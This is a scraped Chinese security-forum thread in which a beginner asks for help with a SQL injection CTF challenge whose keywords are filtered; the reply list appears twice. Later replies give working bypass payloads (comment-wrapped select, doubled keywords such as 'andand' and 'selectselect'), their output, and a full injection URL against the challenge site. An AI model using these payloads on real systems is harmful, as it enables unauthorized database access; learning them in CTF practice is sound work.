[求助] 最简单的sql注入问题-WEB安全-看雪-安全社区|安全招聘|kanxue.com

最新回复 (4)
吴亦凡雪币： 202 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	吴亦凡 2 楼被过滤了，不能直接sqlmap，先手工看下 2017-5-16 17:09 0
新手小菜雪币： 30 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 2 粉丝 0 关注私信	新手小菜 3 楼那我就不可以得到所有的表了是吧？有什么方式么 2017-5-16 17:13 0
hdog 雪币： 4 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 8 粉丝 0 关注私信	hdog 4 楼 http://www.shiyanbar.com/questions/907有解题思路使用/!select/绕过过滤，使用exists判断表，使用联合查询查询数据。生产环境里面不会有这样的数据库环境。如果不清楚就百度一下mysql /!/和mysql exists函数，联合查询应该都会的 2017-5-24 10:59 0
hdog 雪币： 4 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 8 粉丝 0 关注私信	hdog 5 楼刚刚贴了这个攻略，不过不算是自己绕过的。刚刚我发现将被过滤的关键字改成selectselect （注意空格）也是可以成功的使用1' and 1=1 or ''=' 返回 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=1 or ''=''' at line 1。因为and被过滤掉使用1' andand%20%201=1 or''=' 返回 ID: 1' and 1=1 or''=' name: baloteli ID: 1' and 1=1 or''=' name: kanawaluo ID: 1' and 1=1 or''=' name: dengdeng 这里将空格写成%20是为了明显的显示出来需要两个空格 http://ctf5.shiyanbar.com/423/web/?id=' or exists (selectselect * fromfrom admin) andand ''=' 2017-5-24 11:18 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

最新回复 (4)
吴亦凡雪币： 202 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	吴亦凡 2 楼被过滤了，不能直接sqlmap，先手工看下 2017-5-16 17:09 0
新手小菜雪币： 30 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 2 粉丝 0 关注私信	新手小菜 3 楼那我就不可以得到所有的表了是吧？有什么方式么 2017-5-16 17:13 0
hdog 雪币： 4 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 8 粉丝 0 关注私信	hdog 4 楼 http://www.shiyanbar.com/questions/907有解题思路使用/!select/绕过过滤，使用exists判断表，使用联合查询查询数据。生产环境里面不会有这样的数据库环境。如果不清楚就百度一下mysql /!/和mysql exists函数，联合查询应该都会的 2017-5-24 10:59 0
hdog 雪币： 4 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 8 粉丝 0 关注私信	hdog 5 楼刚刚贴了这个攻略，不过不算是自己绕过的。刚刚我发现将被过滤的关键字改成selectselect （注意空格）也是可以成功的使用1' and 1=1 or ''=' 返回 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=1 or ''=''' at line 1。因为and被过滤掉使用1' andand%20%201=1 or''=' 返回 ID: 1' and 1=1 or''=' name: baloteli ID: 1' and 1=1 or''=' name: kanawaluo ID: 1' and 1=1 or''=' name: dengdeng 这里将空格写成%20是为了明显的显示出来需要两个空格 http://ctf5.shiyanbar.com/423/web/?id=' or exists (selectselect * fromfrom admin) andand ''=' 2017-5-24 11:18 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复